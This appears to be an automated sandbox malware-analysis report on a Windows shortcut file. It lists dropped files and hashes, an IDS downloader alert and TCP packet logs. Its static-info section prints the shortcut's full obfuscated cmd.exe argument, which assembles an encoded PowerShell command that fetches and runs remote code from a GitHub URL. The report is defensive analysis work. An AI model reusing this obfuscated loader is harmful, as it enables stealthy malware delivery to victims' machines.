Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4629395133961705
Encrypted:	false
SSDEEP:	6144:gIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN2dwBCswSbn:lXD94+WlLZMM6YFHg+n
MD5:	D21464F46AD7171B12EC0FEDEC90E1D2
SHA1:	3573DEAE59BF4B674F1B59C3308587CE483D9C67
SHA-256:	66E10F60765C0918C1EF7B535439C0528587C516783185B4F466ECD696EBFCD2
SHA-512:	87BD451FC9AE250B5C9E4E2525B6461501D0722E8EEF5D625A1CF1AC6BBE3EB1E08F3B3882478623BAFAB4F8ED4EBC8FD327BFEE41320690E42CDC3B1513D25F
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.GA.vP................................................................................................................................................................................................................................................................................................................................................V.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\helper\7z.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	HTML document, ASCII text, with very long lines (60635)
Category:	dropped
Size (bytes):	164568
Entropy (8bit):	5.458777344809703
Encrypted:	false
SSDEEP:	1536:aA+1UH9HP45DL4zOFfLZ9GPG79bR12JUPBFvNENZUDtYvbbRQZ2fct3xBWFtofvS:m1UH9HP45DLR2WTFYBbz
MD5:	AAF6959210D95C13F864E3D11FEC3436
SHA1:	A2409D2397D23699CCB39E8E3BCCD2B336062570
SHA-256:	718C98D194A6855834E259493C1B30589BB31BC245969723EB6EA24C5792E627
SHA-512:	0DE032EA104068869784AA1F1C165E097A9124B5284855524C0682AC0CC7DF5F30128AB58A3356DED92C6BC0ED84DE21132782FD5E37CF0D44BD775D2D460238
Malicious:	false
Preview:	<!DOCTYPE html>.<html class="maestro global-header" xmlns="http://www.w3.org/1999/xhtml" lang="en">.<head><meta charset="utf-8" />.<meta content="noindex, nofollow, noimageindex" name="robots" />.<meta content="width=device-width, initial-scale=1" name="viewport" />.<script nonce="MXkfU3Em8U4VSSGmwpfcEPMTvQw=">window.EDISON_METRICS_JS_EXECUTION_START = performance.now();.</script><title>Dropbox - Error - Simplify your life</title>.<link rel="shortcut icon" href="https://cfl.dropboxstatic.com/static/metaserver/static/images/favicon.ico"/>.<link rel="preload" href="https://cfl.dropboxstatic.com/static/typescript/component_libraries/dwg-components/src/index.web-vfl2fT2Hc.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>.<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/app_actions/index-vflwwzTNE.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>.<link rel="preload" href="https://cfl.dropboxstatic.com/stat

C:\helper\helper.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	HTML document, ASCII text, with very long lines (60631)
Category:	dropped
Size (bytes):	164866
Entropy (8bit):	5.467205497781749
Encrypted:	false
SSDEEP:	1536:rA+1UH9HP45DL4zOFfLZ9GPG79bR12JUPBFvNENZUDtYvbbRQZ2fct3xBWVuXjwn:p1UH9HP45DLR2zuULUhe
MD5:	07AED73379CB60FD3A85A458FFFBBC50
SHA1:	0331255F80A880349570F6EF9E649090E04976A5
SHA-256:	64CDC9EA6D696E6FED2ADDF0B0689C14B8AE4ADFA312E13D83BE6D89CD7C2FC6
SHA-512:	D1D62B5B0F21B9DCDBA02FF317535559ED4B389745B32157A824D6243B4EBA0C6BAF90D06F89550D9C537B41A5B1D85DCB7304C97B4F6C568BF05294854B88F2
Malicious:	false
Preview:	<!DOCTYPE html>.<html class="maestro global-header" xmlns="http://www.w3.org/1999/xhtml" lang="en">.<head><meta charset="utf-8" />.<meta content="noindex, nofollow, noimageindex" name="robots" />.<meta content="width=device-width, initial-scale=1" name="viewport" />.<script nonce="GLoD7wOQ2bKKqUMaNHeAMqtf89A=">window.EDISON_METRICS_JS_EXECUTION_START = performance.now();.</script><title>Dropbox - Error - Simplify your life</title>.<link rel="shortcut icon" href="https://cfl.dropboxstatic.com/static/metaserver/static/images/favicon.ico"/>.<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/maestro_appshell_styles-vflfNNLV5.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>.<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/dig-components/tokens-vfltkUjWJ.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>.<link rel="preload" href="https://cfl.dropboxstatic.com/static/js/comm

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=11, Archive, ctime=Fri Nov 8 15:06:46 2024, mtime=Sun Nov 17 17:54:05 2024, atime=Fri Nov 8 15:06:46 2024, length=289792, window=hidenormalshowminimized
Entropy (8bit):	3.4255392046496373
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	mjjt5kTb4o.lnk
File size:	9'521 bytes
MD5:	cb553ea2e89a6cbccaac5122455bc7ef
SHA1:	03c64ddf6cdc5bbb82198c84709c4565768ab258
SHA256:	592a1fd0840fab1915a85c82a4c0cb2f657cbae4c99ec2dbf39bc332555cdd83
SHA512:	dae3465e74feb5829eb3c64843493a65b5f100e7e8a3a40b5947eacfa265bd3a14d0476182ce9e6f456540d7bcbaf3c2c3d45e9dcf87bb2903fc52c12ade6d13
SSDEEP:	48:8j8WnmXhXhXhXhXhXhXhXhXqy7XBXhXhXhXhXhXhXhXhXhXhXhXhXMXhXhXhXhX2:8j8uq8888iefDeCRLVbh4bZ2QuL
TLSH:	EC128245C3E95A08F6B67F78DBB57165CDB2F8F16C2E819D0114404607B8E6CCAB0B6E
File Content Preview:	L..................F.B.. ...p.(6.1....}."9....*6.1...l......................5....P.O. .:i.....+00.../C:\...................V.1.....oY.s..Windows.@........OwHqY................................W.i.n.d.o.w.s.....Z.1.....qYU...System32..B........OwHqYU.....<.

File Icon


Icon Hash:	929e9e96a3f3d6ed

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\..\Windows\System32\cmd.exe
Command Line Argument:	"AAAAAA\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|/V/D/c "ServiceRunLocalDriveUserNotes1ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|OOOOOOOOOOOOOOOOOOOOOOOOOOO\|\|OOOOOOOOOOOOOOOOOOOOOOOOOOXXX\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|OOOOOOOOOOAAAA\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|CCCCCCCC\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1OOOOOOOOOOOOOO\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|OOOOOOOOOOAAA\|\|ServiceRunLocalDriveUserNotes1AA\|\|Se^T ACAACA=:\Helper&&ServiceRunLocalDriveUserNotes1\|\|OOOOOOOOOOAA\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|set SSA=exi&&ServiceRunLocalDriveUserNotes1\|\|@if exist "C!ACAACA!" (!SSA!t) else ( ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|set A=PoW&&set aA=She&&ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|set VERIFICATION=l&&ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|^se^t USERNAME=SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0A&&^s^eT^ Driver=DAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA&&s^et PASSWORD=aQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGM&&set VALIDATION=-enco&&ServiceRunLocalDriveUserNotes1\|\|ServiceRunLocalDriveUserNotes1\|\|seT^ Update=QAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNA&&^Se^t SECURITYKEY=VwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcA&&Se^T^ CONFIGURATIONDATA=vAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAH&&sET^ Install=AbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwA&& !A!er!AA!l!VERIFICATION! !VALIDATION!ded !USERNAME!!SECURITYKEY!!PASSWORD!!Install!!CONFIGURATIONDATA!!Update!!Driver!)"
Icon location:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T12:27:17.050636+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49740	162.125.65.18	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 12:27:02.308079004 CET	49730	443	192.168.2.4	185.199.108.133
Dec 17, 2024 12:27:02.308176994 CET	443	49730	185.199.108.133	192.168.2.4
Dec 17, 2024 12:27:02.308263063 CET	49730	443	192.168.2.4	185.199.108.133
Dec 17, 2024 12:27:02.322045088 CET	49730	443	192.168.2.4	185.199.108.133
Dec 17, 2024 12:27:02.322125912 CET	443	49730	185.199.108.133	192.168.2.4
Dec 17, 2024 12:27:03.543905973 CET	443	49730	185.199.108.133	192.168.2.4
Dec 17, 2024 12:27:03.544094086 CET	49730	443	192.168.2.4	185.199.108.133
Dec 17, 2024 12:27:03.548460960 CET	49730	443	192.168.2.4	185.199.108.133
Dec 17, 2024 12:27:03.548516989 CET	443	49730	185.199.108.133	192.168.2.4
Dec 17, 2024 12:27:03.549215078 CET	443	49730	185.199.108.133	192.168.2.4
Dec 17, 2024 12:27:03.560820103 CET	49730	443	192.168.2.4	185.199.108.133
Dec 17, 2024 12:27:03.603331089 CET	443	49730	185.199.108.133	192.168.2.4
Dec 17, 2024 12:27:04.128757000 CET	443	49730	185.199.108.133	192.168.2.4
Dec 17, 2024 12:27:04.128863096 CET	443	49730	185.199.108.133	192.168.2.4
Dec 17, 2024 12:27:04.128931999 CET	49730	443	192.168.2.4	185.199.108.133
Dec 17, 2024 12:27:04.372833014 CET	49730	443	192.168.2.4	185.199.108.133
Dec 17, 2024 12:27:10.761236906 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:10.761292934 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:10.761373997 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:10.761742115 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:10.761759996 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:12.139446974 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:12.139588118 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:12.143666029 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:12.143723965 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:12.144310951 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:12.145570993 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:12.187378883 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.064949036 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.065145969 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.065211058 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.065273046 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.067310095 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.067413092 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.080105066 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.080319881 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.283520937 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.283535957 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.283761024 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.283775091 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.283828974 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.283864021 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.283890963 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.334314108 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.334336042 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.334542036 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.334542990 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.334605932 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.334702015 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.462709904 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.462754011 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.462867975 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.462935925 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.462975979 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.463232994 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.493088961 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.493123055 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.493169069 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.493199110 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.493221998 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.493244886 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.518389940 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.518419027 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.518632889 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.518632889 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.518697023 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.518773079 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.533302069 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.533457994 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.533519983 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.533519983 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.533585072 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.533647060 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.570367098 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.570601940 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.645817041 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.646050930 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.646114111 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.650909901 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.651119947 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.651184082 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.651631117 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.656106949 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.656342030 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.656404018 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.660438061 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.660495996 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.660536051 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.660573006 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.660650015 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.660689116 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.662915945 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.662982941 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.662998915 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.671832085 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.672019958 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.672054052 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.672133923 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.672439098 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.675143003 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.687897921 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.687927008 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.688118935 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.688118935 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.688150883 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.688209057 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.690187931 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.690376997 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.690407038 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.743026018 CET	443	49731	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:13.743171930 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.948174953 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:13.953998089 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:14.657330036 CET	49731	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:14.737271070 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:14.737375975 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:14.737467051 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:14.739881039 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:14.739917040 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:16.105324030 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:16.107125044 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:16.107189894 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.050723076 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.050925016 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.050942898 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.051012993 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.051055908 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.051079988 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.055912018 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.067106009 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.067187071 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.067248106 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.252424955 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.276176929 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.276196957 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.276365042 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.276416063 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.276417017 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.276453972 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.276516914 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.276576042 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.276576996 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.276576996 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.276576996 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.332350016 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.332382917 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.332526922 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.332526922 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.332560062 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.332578897 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.332606077 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.332612038 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.332629919 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.332659960 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.448468924 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.448529005 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.448698997 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.448699951 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.448760986 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.448823929 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.474168062 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.474198103 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.474379063 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.474438906 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.474488974 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.474513054 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.502593040 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.502635956 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.502794981 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.502794981 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.502861023 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.502931118 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.526962996 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.527173996 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.527175903 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.527283907 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.527368069 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.527702093 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.530755997 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.530853033 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.553993940 CET	443	49740	162.125.65.18	192.168.2.4
